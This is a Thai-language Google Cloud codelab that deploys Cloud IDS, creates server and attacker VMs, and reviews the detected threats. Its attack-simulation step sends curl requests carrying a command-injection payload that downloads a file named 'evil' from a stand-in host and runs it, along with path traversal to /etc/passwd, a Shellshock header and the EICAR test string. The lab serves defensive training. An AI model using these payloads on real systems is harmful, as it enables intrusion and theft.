Cloud IDS

1. บทนำ

ในห้องทดลองนี้ คุณจะได้ติดตั้งใช้งาน Cloud IDS ซึ่งเป็นบริการตรวจจับการบุกรุกขั้นสูงรุ่นใหม่ที่มีการตรวจจับภัยคุกคามสำหรับการบุกรุก มัลแวร์ สปายแวร์ และการโจมตีด้วยคำสั่งและการควบคุม คุณจะจำลองการโจมตีหลายครั้งและดูรายละเอียดภัยคุกคามใน Cloud Console

สิ่งที่คุณจะได้เรียนรู้

  • วิธีสร้างปลายทาง Cloud IDS
  • วิธีสร้างเครื่องเสมือน 2 เครื่องด้วยคำสั่ง gcloud
  • วิธีสร้างนโยบายการมิเรอร์แพ็กเกต
  • วิธีจำลองปริมาณการเข้าชมการโจมตีจากเครื่องเสมือน
  • วิธีดูรายละเอียดภัยคุกคามใน Cloud Console และ Cloud Logging

สิ่งที่คุณต้องมี

  • ความรู้เกี่ยวกับคำสั่ง Linux พื้นฐาน

2. กรณีการใช้งานของ Cloud IDS

Cloud IDS มอบบริการตรวจจับการบุกรุกรุ่นถัดไป (IDS) แบบเนทีฟของ Google Cloud เพื่อให้ลูกค้าปฏิบัติตามข้อกำหนดด้านการตรวจจับภัยคุกคามและการปฏิบัติตามข้อกำหนดขั้นสูง เช่น PCI 11.4 บริการนี้ขับเคลื่อนโดยเทคโนโลยีการป้องกันภัยคุกคามของ Palo Alto Networks เพื่อให้บริการตรวจจับการบุกรุกขั้นสูง การผสานโครงสร้างพื้นฐานระดับโลกของ Google Cloud เข้ากับการรักษาความปลอดภัยระดับโลกจากเครือข่าย Palo Alto มอบการผสมผสานบริการตรวจจับภัยคุกคามขั้นสูงที่มีการจัดการเต็มรูปแบบ ประสิทธิภาพและการรักษาความปลอดภัยสูงสุดให้แก่ลูกค้าในแบบที่ไม่มีใครเทียบได้

เมื่อลูกค้าย้ายข้อมูลไปยังระบบคลาวด์ ความปลอดภัยจะเป็นที่หนึ่งในใจลูกค้าเสมอ ลูกค้าต้องการมีการควบคุมความปลอดภัยที่คล้ายกันภายในองค์กร เช่น บริการตรวจจับการบุกรุก (IDS) ในระบบคลาวด์ ลูกค้าต้องการใช้โซลูชัน IDS ที่มีการจัดการซึ่งดำเนินการบนระบบคลาวด์เพื่อให้ติดตั้งใช้งานได้ง่าย มีประสิทธิภาพสูง และเพิ่มประสิทธิภาพต้นทุน เมื่อเทียบกับการติดตั้งใช้งานโซลูชันการรักษาความปลอดภัยของบุคคลที่สาม และการจัดการโครงสร้างพื้นฐาน หรือการนำลายเซ็นของตนเองมาใช้ Google Cloud IDS เป็นบริการ IDS ที่มีการจัดการซึ่งปรับขนาดอัตโนมัติและครบวงจร ช่วยให้ลูกค้าใช้เวลาในการวิเคราะห์และลดภัยคุกคาม ตลอดจนลดเวลาและทรัพยากรในการจัดการโครงสร้างพื้นฐานหรือลายเซ็นภัยคุกคาม

ระบบทำให้ Cloud IDS ทำงานนอกขอบเขต รวมถึงสามารถตรวจจับและแจ้งเตือนภัยคุกคาม แต่ไม่สามารถบล็อกภัยคุกคามได้ โดยใช้ประโยชน์จากการมิเรอร์แพ็กเกตของ Google Cloud เพื่อทำสำเนาการจราจรของข้อมูลในเครือข่ายที่ได้รับการวิเคราะห์โดยใช้เครื่องมือตรวจจับภัยคุกคามของเครือข่าย Palo Alto

3. โทโพโลยี Codelab

5a276f399e1d31e2.png

รูปที่ 1 ภาพรวมทางสถาปัตยกรรมระดับสูงของการทำให้ Cloud IDS ใช้งานได้สำหรับห้องทดลองนี้

4. การตั้งค่าและข้อกำหนด

การตั้งค่าสภาพแวดล้อมตามเวลาที่สะดวก

  1. ลงชื่อเข้าใช้ Google Cloud Console และสร้างโปรเจ็กต์ใหม่หรือใช้โปรเจ็กต์ที่มีอยู่ซ้ำ หากยังไม่มีบัญชี Gmail หรือ Google Workspace คุณต้องสร้างบัญชี

96a9c957bc475304.png

b9a10ebdf5b5a448.png

a1e3c01a38fa61c2.png

  • ชื่อโครงการคือชื่อที่แสดงของผู้เข้าร่วมโปรเจ็กต์นี้ เป็นสตริงอักขระที่ Google APIs ไม่ได้ใช้และคุณอัปเดตได้ทุกเมื่อ
  • รหัสโปรเจ็กต์ต้องไม่ซ้ำกันในโปรเจ็กต์ Google Cloud ทั้งหมดและจะเปลี่ยนแปลงไม่ได้ (เปลี่ยนแปลงไม่ได้หลังจากตั้งค่าแล้ว) Cloud Console จะสร้างสตริงที่ไม่ซ้ำกันโดยอัตโนมัติ ปกติแล้วคุณไม่สนว่าอะไรเป็นอะไร ใน Codelab ส่วนใหญ่ คุณจะต้องอ้างอิงรหัสโปรเจ็กต์ (ซึ่งปกติระบุไว้ว่าเป็น PROJECT_ID) ดังนั้นหากไม่ชอบ ให้สร้างรหัสแบบสุ่มขึ้นมาอีกรหัสหนึ่ง หรือคุณจะลองใช้รหัสโปรเจ็กต์ของคุณเองแล้วดูว่ารหัสโปรเจ็กต์พร้อมใช้งานหรือไม่ แล้วก็ "แช่แข็ง" หลังจากสร้างโปรเจ็กต์แล้ว
  • มีค่าที่ 3 คือหมายเลขโปรเจ็กต์ที่ API บางตัวใช้ ดูข้อมูลเพิ่มเติมเกี่ยวกับค่าทั้ง 3 ค่าเหล่านี้ในเอกสารประกอบ
  1. ถัดไป คุณจะต้องเปิดใช้การเรียกเก็บเงินใน Cloud Console เพื่อใช้ทรัพยากร/API ของระบบคลาวด์ การใช้งาน Codelab นี้น่าจะไม่มีค่าใช้จ่ายใดๆ หากมี หากต้องการปิดทรัพยากรเพื่อไม่ให้มีการเรียกเก็บเงินนอกเหนือจากบทแนะนำนี้ ให้ทำตาม "การล้าง" ดูได้ที่ตอนท้ายของ Codelab ผู้ใช้ใหม่ของ Google Cloud จะมีสิทธิ์เข้าร่วมโปรแกรมทดลองใช้ฟรี$300 USD

เริ่มต้น Cloud Shell

แม้ว่าคุณจะดำเนินการ Google Cloud จากระยะไกลได้จากแล็ปท็อป แต่คุณจะใช้ Google Cloud Shell ซึ่งเป็นสภาพแวดล้อมแบบบรรทัดคำสั่งที่ทำงานในระบบคลาวด์ใน Codelab นี้

จากคอนโซล GCP ให้คลิกไอคอน Cloud Shell บนแถบเครื่องมือด้านขวาบนดังนี้

bce75f34b2c53987.png

การจัดสรรและเชื่อมต่อกับสภาพแวดล้อมนี้ควรใช้เวลาเพียงครู่เดียว เมื่อเสร็จแล้ว คุณจะเห็นข้อมูลต่อไปนี้

f6ef2b5f13479f3a.png

เครื่องเสมือนนี้เต็มไปด้วยเครื่องมือการพัฒนาทั้งหมดที่คุณต้องการ โดยมีไดเรกทอรีหลักขนาด 5 GB ที่ใช้งานได้ต่อเนื่องและทำงานบน Google Cloud ซึ่งช่วยเพิ่มประสิทธิภาพของเครือข่ายและการตรวจสอบสิทธิ์ได้อย่างมาก งานทั้งหมดใน Lab นี้สามารถทำได้โดยใช้เบราว์เซอร์

5. ก่อนเริ่มต้น

เปิดใช้ API

ตรวจสอบว่าตั้งค่ารหัสโปรเจ็กต์ใน Cloud Shell แล้ว

gcloud config list project
gcloud config set project [YOUR-PROJECT-NAME]
export PROJECT_ID=$(gcloud config get-value project | sed '2d')

เปิดใช้บริการที่จำเป็นทั้งหมด

gcloud services enable compute.googleapis.com
gcloud services enable ids.googleapis.com
gcloud services enable logging.googleapis.com

6. สร้างเครือข่าย VPC

เครือข่าย VPC

จาก Cloud Shell

gcloud compute networks create cloud-ids \
--subnet-mode=custom

ซับเน็ต

จาก Cloud Shell

gcloud compute networks subnets create cloud-ids-useast1 \
--range=192.168.10.0/24 \
--network=cloud-ids \
--region=us-east1

การเข้าถึงบริการส่วนตัว

จาก Cloud Shell

gcloud compute addresses create cloud-ids-ips \
--global \
--purpose=VPC_PEERING \
--addresses=10.10.10.0 \
--prefix-length=24 \
--description="Cloud IDS Range" \
--network=cloud-ids

การเชื่อมต่อบริการส่วนตัว

จาก Cloud Shell

gcloud services vpc-peerings connect \
--service=servicenetworking.googleapis.com \
--ranges=cloud-ids-ips \
--network=cloud-ids \
--project=$PROJECT_ID

กฎไฟร์วอลล์

หากต้องการอนุญาตให้ IAP เชื่อมต่อกับอินสแตนซ์ VM ให้สร้างกฎของไฟร์วอลล์ที่มีลักษณะดังนี้

  • ใช้กับอินสแตนซ์ VM ทั้งหมดที่คุณต้องการให้เข้าถึงได้โดยใช้ IAP
  • อนุญาตการรับส่งข้อมูลขาเข้าจากช่วง IP 35.235.240.0/20 ช่วงนี้ประกอบด้วยที่อยู่ IP ทั้งหมดที่ IAP ใช้สำหรับการส่งต่อ TCP

จาก Cloud Shell

gcloud compute firewall-rules create allow-iap-proxy \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:22 \
--source-ranges=35.235.240.0/20

หากต้องการอนุญาตให้มีพอร์ต HTTP มาตรฐาน (TCP 80) และโปรโตคอล ICMP ไปยังเซิร์ฟเวอร์ ให้ทำดังนี้

  • ใช้กับทรัพยากรที่มีแท็กเครือข่าย "เซิร์ฟเวอร์"
  • อนุญาตข้อมูลขาเข้าจากทุกต้นทาง

จาก Cloud Shell

gcloud compute firewall-rules create allow-http-icmp \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:80,icmp \
--source-ranges=0.0.0.0/0 \
--target-tags=server

สร้างอินสแตนซ์ Cloud NAT

เราเตอร์ระบบคลาวด์

จาก Cloud Shell

gcloud compute routers create cr-cloud-ids-useast1 \
--region=us-east1 \
--network=cloud-ids

Cloud NAT

จาก Cloud Shell

gcloud compute routers nats create nat-cloud-ids-useast1 \
--router=cr-cloud-ids-useast1 \
--router-region=us-east1 \
--auto-allocate-nat-external-ips \
--nat-all-subnet-ip-ranges

7. สร้างปลายทาง Cloud IDS

ในส่วนนี้ คุณจะได้สร้าง Cloud IDS Endpoint ใน us-east1 โดยตั้งค่าความรุนแรงเป็นการให้ข้อมูล การสร้างปลายทาง IDS จะใช้เวลาประมาณ 20 นาที

ปลายทาง IDS

จาก Cloud Shell

gcloud ids endpoints create cloud-ids-east1 \
--network=cloud-ids \
--zone=us-east1-b \
--severity=INFORMATIONAL \
--async

ยืนยันว่าเริ่มปลายทาง Cloud IDS แล้ว

gcloud ids endpoints list --project=$PROJECT_ID

เอาต์พุต -

ID: cloud-ids-east1
LOCATION: us-east1-b
SEVERITY: INFORMATIONAL
STATE: CREATING
NETWORK: cloud-ids
TRAFFIC_LOGS:

8. สร้างเครื่องเสมือน 2 เครื่อง

ในส่วนนี้ คุณจะได้สร้างเครื่องเสมือน 2 เครื่อง เว็บเซิร์ฟเวอร์แรกคือเว็บเซิร์ฟเวอร์ซึ่งมิเรอร์ไปยัง Cloud IDS เครื่องเสมือนเครื่องที่ 2 จะเป็นแหล่งที่มาของการเข้าชมการโจมตี

เครื่องเสมือน 1 (เซิร์ฟเวอร์)

จาก Cloud Shell

gcloud compute instances create server \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.20 \
--metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \
--tags=server \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB

เครื่องเสมือน 2 (ไคลเอ็นต์)

จาก Cloud Shell

gcloud compute instances create attacker \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.10 \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB 

9. กำลังเตรียมเซิร์ฟเวอร์

ในงานนี้ คุณจะได้ตรวจสอบเซิร์ฟเวอร์และระบุเพย์โหลดมัลแวร์ที่ไม่เป็นอันตรายสำหรับไคลเอ็นต์ของคุณ

SSH ไปยัง VM ผ่าน Cloud Shell

gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap

ยืนยันว่าบริการเว็บทำงานอยู่

sudo systemctl status nginx

เอาต์พุต - ยืนยันว่าทำงานอยู่และทำงานอยู่

● nginx.service - A high performance web server and a reverse proxy server
   Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
   Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago
     Docs: man:nginx(8)
 Main PID: 1347 (nginx)
    Tasks: 3 (limit: 4665)
   Memory: 4.5M
   CGroup: /system.slice/nginx.service
           ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
           ├─1348 nginx: worker process
           └─1349 nginx: worker process

May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server...
May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.

เปลี่ยนไดเรกทอรีเป็นบริการบนเว็บ

cd /var/www/html/

สร้างไฟล์มัลแวร์ที่ไม่เป็นอันตรายบนเว็บเซิร์ฟเวอร์

sudo touch eicar.file

วางในเนื้อหา

echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file

กลับไปที่ CloudShell

exit

สร้างนโยบายการมิเรอร์แพ็กเกต Cloud IDS

ระบุกฎการส่งต่อปลายทาง IDS และยืนยันว่าสถานะปลายทาง IDS คือ "READY"

gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b 

ตัวอย่างเอาต์พุต - คัดลอกค่าจาก "endpointRedirectRule"

user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
createTime: '2021-07-01T21:03:56.099839751Z'
endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca
endpointIp: 172.16.30.43
name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1
network: projects/ids-project/global/networks/cloud-ids
severity: INFORMATIONAL
state: READY
updateTime: '2021-07-01T21:21:32.744309107Z'

บันทึกกฎการส่งต่อปลายทาง IDS ไปยังตัวแปร

export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)")
echo $FORWARDING_RULE

นโยบายการมิเรอร์แพ็กเกต

จาก Cloud Shell

gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \
--region=us-east1 \
--collector-ilb=$FORWARDING_RULE \
--network=cloud-ids \
--mirrored-subnets=cloud-ids-useast1

ยืนยันว่าสร้างนโยบายการมิเรอร์แพ็กเกตแล้ว

จาก Cloud Shell

gcloud compute packet-mirrorings list

เอาต์พุต

user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list
NAME                        REGION       NETWORK    ENABLE
cloud-ids-packet-mirroring  us-east1     cloud-ids  TRUE

10. จำลองการรับส่งข้อมูลการโจมตี

SSH ไปยังเครื่องเสมือน (ไคลเอ็นต์) ของผู้โจมตี

จาก Cloud Shell

gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap

เรียกใช้คำขอ curl ต่อไปนี้เพื่อจำลองการเข้าชมที่เป็นอันตราย

curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical

ออกจาก VM เพื่อกลับไปยัง CloudShell

exit

11. ตรวจสอบภัยคุกคามที่ Cloud IDS ตรวจพบ

ไปที่แดชบอร์ด Cloud IDS

เมนูการนำทาง > การรักษาความปลอดภัยของเครือข่าย > Cloud ID

37583419aa604aa8.png

ไปที่แท็บ Threats

b7d934f409b4e2b.png

คุณจะเห็นได้ว่า Cloud IDS ได้บันทึกโปรไฟล์การเข้าชมการโจมตีต่างๆ และให้รายละเอียดเกี่ยวกับภัยคุกคามแต่ละรายการ คุณอาจต้องคลิกปุ่ม "รีเฟรช" หากคุณไม่เห็นภัยคุกคามใดๆ เราจะมาเจาะลึกรายละเอียดเกี่ยวกับภัยคุกคามกัน

หา "ช่องโหว่ Bash Remote Code Execution" ภัยคุกคาม และคลิกที่จุด 3 จุดทางด้านขวา แล้วเลือก "ดูรายละเอียดภัยคุกคาม"

b122b30dd8d43d9b.png

ee1b201a12db7ef7.png

ตอนนี้เราจะมาดูรายละเอียดของเหตุการณ์นี้ใน Cloud Logging กลับไปที่หน้าภัยคุกคามโดยคลิกลูกศรชี้ไปทางซ้าย

คลิกที่จุด 3 จุดทางด้านขวา แล้วเลือก "ดูบันทึกภัยคุกคาม"

b122b30dd8d43d9b.png

ff0d5a0d652ddd83.png

รายละเอียดเดียวกันกับที่มอบให้กับ Cloud Logging ซึ่งจะช่วยให้คุณส่งบันทึกไปยัง Cloud Storage, Chronicle หรือ SIEM/SOAR ได้ นอกจากนี้ คุณยังสร้างเวิร์กโฟลว์ที่กำหนดเองเพื่อดำเนินการแก้ไขตามการแจ้งเตือนต่างๆ ได้ เช่น การสร้างฟังก์ชันระบบคลาวด์ที่จะทริกเกอร์การแจ้งเตือนและสร้าง/อัปเดตกฎไฟร์วอลล์เพื่อบล็อกที่อยู่ IP หรือสร้าง/อัปเดตนโยบาย Cloud Armor

12. ขั้นตอนการทำความสะอาด

ออกจากอินสแตนซ์ VM (แท็บทั้งหมด)

exit

ลบคอมโพเนนต์ห้องทดลองจากเทอร์มินัล Cloud Shell เดียว

gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet

gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet

gcloud compute instances delete server --zone=us-east1-b --quiet

gcloud compute instances delete attacker --zone=us-east1-b --quiet

gcloud compute firewall-rules delete allow-iap-proxy --quiet

gcloud compute firewall-rules delete allow-http-icmp --quiet

gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet

gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet

gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet

gcloud compute addresses delete cloud-ids-ips --global --quiet

gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet

gcloud compute networks delete cloud-ids --quiet

13. ยินดีด้วย

ขอแสดงความยินดีที่เรียน Codelab จนจบ

หัวข้อที่ครอบคลุม

  • กรณีการใช้งานของ Cloud IDS
  • ข้อกำหนดเกี่ยวกับเครือข่าย
  • API ที่รองรับ
  • สร้างปลายทาง Cloud IDS แล้ว
  • VM ที่ทำให้ใช้งานได้แล้ว 2 รายการ
  • สร้าง "การโจมตี" บางส่วน การเข้าชมจากไคลเอ็นต์
  • IDS ตรวจพบภัยคุกคามที่ยืนยันแล้ว
  • ตรวจสอบรายละเอียดและบันทึกภัยคุกคาม